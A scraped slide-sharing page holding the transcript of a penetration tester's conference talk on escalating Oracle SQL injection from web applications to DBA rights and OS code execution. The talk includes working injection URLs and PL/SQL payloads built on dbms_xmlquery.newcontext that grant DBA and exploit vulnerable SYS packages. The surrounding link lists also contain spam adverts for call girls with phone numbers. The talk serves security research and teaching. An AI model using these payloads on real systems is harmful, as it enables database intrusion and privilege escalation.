08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 

Dernier (20)

Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & Application
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 

New and improved hacking oracle from web apps sumit sidharth

  • 1. NEW AND IMPROVED: HACKING ORACLE FROM WEB Sumit “sid” Siddharth 7Safe Limited UK
  • 2. About 7Safe  Part of PA Consulting Group  Security Services  Penetration testing  PCI-DSS  Forensics  Training  E-discovery
  • 3. About Me  Head of Penetration Testing@7Safe  Specialising in Application and Database Security  Speaker at Black Hat, DEFCON, OWASP Appsec etc  Not an Oracle Geek  Blog: www.notsosecure.com  Twitter: notsosecure
  • 4. Prelude  There are a number of talks on hacking oracle  Mostly it comes down to exploiting a vulnerable package which comes with Oracle  What about web?  How do we exploit a web app which has a SQL Injection and is communicating with an Oracle back- end database?  By exploitation I don’t mean data extraction, I mean OS code execution (aka xp_cmdshell)
  • 5. Credit to..  The talk presents the work of a number of Oracle security researchers in the context of web application security.  Specially David Litchfield and Esteban  Other researchers we would like to thank:  Alexander Kornbrust  FerruhMavituna
  • 6. Oracle Privileges- 101  Oracle database installation comes with a number of default packages, procedures, functions etc.  By default these procedures/functions run with the privilege of definer  To change the execution privileges from definer to invoker keyword AUTHID CURRENT_USER must be defined
  • 7. Hacking Oracle from Network  If there is a SQL Injection in a procedure owned by SYS and PUBLIC has execute privileges, then its “game over”…
  • 8. Owning Oracle over network  Enumerate SID  Enumerate users  Connect to Oracle  Exploit SQL injection in a procedure owned by SYS  Become DBA  Execute OS Code Metasploit is your friend…
  • 9. Owning Oracle from network....  E.g.  exec SYS.LT.MERGEWORKSPACE(‘foobar'' and SCOTT.DBA()=''Y');  The function SCOTT. DBA() will be executed by SYS as it is called by the procedure  SCOTT.DBA() has AUTHID CURRENT_USER defined
  • 10. Hacking Oracle from Web- 101  What happens when you find a SQL Injection in a web app which talks to Oracle database?  Of-course SQL Injection is bad (remember SONY!)  But how bad is it?  Can we pwn oralce in the same way as we do over the network  Can we escalate our privs and become DBA  Can we execute OS code
  • 11. SQL In Oracle  SQL is a limited language that allows you to directly interact with the database.  You can write queries (SELECT), manipulate data and objects (DDL, DML) with SQL. However, SQL doesn't include all the things that normal programming languages have, such as loops and IF...THEN...ELSE statements.  Most importantly, SQL does not support execution of multiple statements.
  • 12. SQL In Oracle....  SQL in Oracle does not support execution of multiple statements.  OS code execution is not as simple as executing xp_cmdshell in MSSQL.  Not enough documentation on which exploits can be used from web applications.  Not many publicly available tools for exploiting Oracle SQL Injections.
  • 13. Hacking Oracle from web: Part 1  Last year I released a paper which talks about different attack vectors which can be used in different scenarios  Lets have a quick look at some of this
  • 14. Executing multiple statements in SQL  Only option is to find functions which lets us do this:  Select * from tbl where id =‘1’ and (select scott.func(‘begin statement 1;statement 2 ;end;’) from dual)= ‘a’--’  The function can execute an anonymous PL/SQL block either as a feature or as a bug.  Thank fully Oracle has some default functions which let’s you do this...
  • 15. DBA Privileges  Function: SYS.KUPP$PROC.CREATE_MASTER_PRO CESS()  Function executes arbitrary PL/SQL  Only DBA can call this function  Executes any PL/SQL statement.  Call DBMS_scheduler to run OS code
  • 17. JAVA IO Privileges  Functions:  DBMS_JAVA.RUNJAVA()  11g R1 and R2  DBMS_JAVA_TEST.FUNCALL()  10g R2, 11g R1 and R2  Java class allowing OS code execution by default –oracle/aurora/util/Wrapper
  • 19. DEMO: OS Code Execution with JAVA IO Permissions
  • 20. So, what’s new  If you have either DBA role or JAVA IO privs then its pretty much game over  What if you don’t have these?  Can we not exploit vulnerable packages and become DBA anyways just as we would do while hacking oracle from n/w
  • 21. 2 functions which change everything..  dbms_xmlquery.newcontext()  dbms_xmlquery.getxml()  These 2 functions are available from Oracle 9i to 11g R2  Functions are executable by PUBLIC  AUTHID CURRENT_USER  Allow execution of PL/SQL Statement
  • 22. So, what can you do with these  Although these functions are marked AUTHID CURRENT_USER you can still do stuff like:  Exploit any vulnerable database object and escalate permissions
  • 23. Example  Consider a SQL Injection in an un-patched Oracle database  The app connects to database with a user which has minimum privileges  The database has missing CPU (nothing unusual)  Exploit the vulnerability patched by CPU  Become dba, execute code, pwn stuff.....
  • 24. dbms_xmlquery.newcontext select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''any pl/sql statement ''; commit; end;') from dual http://vuln/index.php?id=1 and (select dbms_xmlquery.newcontext(‘ declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function pwn return varchar2 authid current_user is PRAGMA autonomous_transaction;BEGIN execute immediate ''''grant dba to scott'''';commit;return ''''z'''';END; ''; commit; end;‘) from dual) is not null --
  • 25. Example#1 SYS.LT. CREATEWORKSPACE (CPU April 2009)  Exploit vulnerable procedure to become DBA  http://vuln/index.php?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin SYS.LT.CREATEWORKSPACE(''''A10'''''''' and scott.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA CE(''''A10'''''''' and scott.pwn()=''''''''x'''');end;''; commit; end;') from dual) is not null --
  • 26. DEMO
  • 27. Exploiting 11g R2  Similarly we can now exploit any vulnerable package within 11g R2  sys.dbms_cdc_publish.create_change_set  CPU: October 2010, 10gR1, 10gR2, 11g R1 and 11gR2
  • 28. Exploiting 11g R2  select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||scott.pwn2()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual
  • 29. Indirect Privilege Escalation  Using these functions we can call indirect privilege escalation vectors from web apps  Become DBA from  Create ANY Trigger  CREATE ANY Procedure  CREATE ANY VIEW  Etc.....
  • 30. Summary  You can use the 2 functions to exploit any vulnerability within the back-end database from web to become DBA.  The vulnerability can be in  custom code  Code shipped with Oracle (missing CPU)  0 day  Indirect privilege escalation  After you become DBA you can execute OS code.
  • 31. Thank You  Questions?  Contact: Sid@pentest.7safe.com  Twitter: notsosecure  Blog: www.notsosecure.com